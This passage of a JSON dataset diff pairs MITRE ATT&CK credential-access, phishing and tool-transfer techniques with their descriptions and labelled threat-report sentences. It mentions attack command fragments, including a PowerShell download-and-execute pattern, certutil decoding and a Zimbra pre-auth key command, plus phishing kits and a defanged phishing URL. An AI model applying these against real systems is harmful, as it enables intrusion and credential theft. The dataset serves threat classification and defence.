credential phishing campaign featured the “.onmicrosoft.com” domain name." + }, + { + "id": "T1606", + "text": "ATT&CK technique: T1606 Forge Web Credentials\nDescription: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. Adversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain. Once forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: * **NiiJ Stealer -** A very basic stealer to steal passwords from popular tools like Firefox, Opera, Chrome, FileZilla, etc and send to the C&C panel." + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: | https://storage[.]cloud[.]google[.]com/dhngw6p6rwrwnuv6vnuse.appspot.com/index.html#username@organizationname.tld | Microsoft Credential Theft Phishing URL |" + }, + { + "id": "T1539", + "text": "ATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: The group selling Taurus claims that this stealer is capable of stealing passwords, cookies, and autofill forms along with the history of Chromium- and Gecko-based browsers." + }, + { + "id": "T1528", + "text": "ATT&CK technique: T1528 Steal Application Access Token\nDescription: Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS). Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment. For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands. Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication. Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token. Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens, allowing them to obtain new access tokens without prompting the user.\nTactics: credential access\nPlatforms: Containers, IaaS, Identity Provider, Office Suite, SaaS\nLabeled report example: * Stealing session files from applications, including Discord, Steam, Telegram, and Authy" + }, + { + "id": "T1555", + "text": "ATT&CK technique: T1555 Credentials from Password Stores\nDescription: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nTactics: credential access\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: Ares still appears to be in development alongside an information stealer that harvests credentials from various applications including VPN clients, web browsers, and the malware can exfiltrate arbitrary files and cryptocurrency wallets." + }, + { + "id": "T1078", + "text": "ATT&CK technique: T1078 Valid Accounts\nDescription: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks." + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: This campaign utilizes a variety of payloads and infection vectors from commodity RATs to custom malware, email spam, backdooring/masquerading as cracked software, and other lures." + }, + { + "id": "T1110", + "text": "ATT&CK technique: T1110 Brute Force\nDescription: Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to Valid Accounts within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as OS Credential Dumping, Account Discovery, or Password Policy Discovery. Adversaries may also combine brute forcing activity with behaviors such as External Remote Services as part of Initial Access. If an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim’s location and therefore bypass those policies.\nTactics: credential access\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Additionally, credential information can come from logs tied to infostealer malware, password spraying or other credential marketplaces in the criminal underground." + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1114", + "text": "ATT&CK technique: T1114 Email Collection\nDescription: Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses. Adversaries can collect or forward email from mail servers or clients.\nTactics: collection\nPlatforms: Linux, Office Suite, Windows, macOS\nLabeled report example: * Email contact stealer" + }, + { + "id": "T1217", + "text": "ATT&CK technique: T1217 Browser Information Discovery\nDescription: Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. Browser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser. Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).\nTactics: discovery\nPlatforms: Linux, Windows, macOS\nLabeled report example: PurpleWave is capable of stealing credentials, autofills data, card data, cookies, and browser history from Chromium and Mozilla." + }, + { + "id": "T1583", + "text": "ATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Through the intelligence gathered from the Zscaler cloud, we discovered several newly registered domains that use VoIP and voicemail as themes for their credential-stealing phishing campaigns." + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1587", + "text": "ATT&CK technique: T1587 Develop Capabilities\nDescription: Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle. As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: A screenshot from the Abi system monitoring of Sharif UniversityThe Iranian regime also developed customized malware used for stealing information from citizens." + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1589.001", + "text": "ATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1005", + "text": "ATT&CK technique: T1005 Data from Local System\nDescription: Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.\nTactics: collection\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: It can also steal files, cryptocurrency wallets, cookies, and credit cards." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: In a few variants of the phishing landing pages, we observed that the final landing page used an external JavaScript to display the credential-phishing page in the browser." + }, + { + "id": "T1082", + "text": "ATT&CK technique: T1082 System Information Discovery\nDescription: An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes. Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version). On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`. Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine. System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.\nTactics: discovery\nPlatforms: ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents." + }, + { + "id": "T1598", + "text": "ATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1566.004", + "text": "ATT&CK technique: T1566.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on User Execution for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools (Remote Access Tools) onto their computer. Adversaries may also combine voice phishing with Multi-Factor Authentication Request Generation in order to trick users into divulging MFA credentials or accepting authentication prompts.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.002", + "text": "ATT&CK technique: T1598.002 Spearphishing Attachment\nDescription: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1586", + "text": "ATT&CK technique: T1586 Compromise Accounts\nDescription: Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1598.004", + "text": "ATT&CK technique: T1598.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff. Victims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to tailor pretexts to be even more persuasive and believable for the victim.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1111", + "text": "ATT&CK technique: T1111 Multi-Factor Authentication Interception\nDescription: Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1684.001", + "text": "ATT&CK technique: T1684.001 Impersonation\nDescription: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft. Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal. Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity. There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1598.001", + "text": "ATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1684", + "text": "ATT&CK technique: T1684 Social Engineering\nDescription: Adversaries may use social engineering techniques to influence users to take actions that result in unauthorized access, approval of changes, disclosure of sensitive information, or execution of adversary-supplied instructions (i.e., introduction of malicious payloads or software), while minimizing technical indicators. Adversaries may leverage trust-building methods across multiple channels (e.g., executive, vendor, or help desk scenarios, including AI-enabled voice interactions) to prompt user-authorized actions such as password resets, MFA changes, financial approvals, or the disclosure of sensitive information. Adversaries may also leverage common business communications and workflows such as email, collaboration platforms, voice communications, recruiting processes, help desk interactions, and SaaS consent mechanisms to make malicious requests appear routine and legitimate. Additionally, adversaries have persuaded victims to take actions through references of current events, harnessing relevant themes to the work role or the organizations mission. For example, adversaries 